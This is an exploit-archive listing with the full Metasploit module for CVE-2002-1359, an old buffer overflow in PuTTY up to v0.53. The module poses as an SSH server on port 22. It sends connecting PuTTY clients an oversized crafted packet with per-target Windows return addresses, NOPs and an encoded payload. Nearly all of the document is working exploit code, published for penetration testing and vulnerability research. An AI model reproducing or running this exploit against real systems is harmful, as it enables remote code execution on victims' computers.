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PuTTy.exe <= v0.53 Buffer Overflow

PuTTy.exe <= v0.53 Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c.

tags | exploit, overflow
advisories | CVE-2002-1359
MD5 | 65ee1cd53af36dfa1d31dcd33abf4058

PuTTy.exe <= v0.53 Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PuTTY SSH client that is triggered
through a validation error in SSH.c.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-1359' ],
[ 'OSVDB', '8044'],
[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
[ 'BID', '6407'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
],
'Privileged' => false,
'DisclosureDate' => 'December 16 2002',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

buffer =
"SSH-2.0-OpenSSH_3.6.1p2\r\n" +
"\x00\x00\x4e\xec\x01\x14" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
[target.ret].pack('V') + make_nops(10) + p.encoded +
(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
"\x00\x00\x00\x00\x00\x00"

print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

client.put(buffer)
handler

service.close_client(client)
end

end
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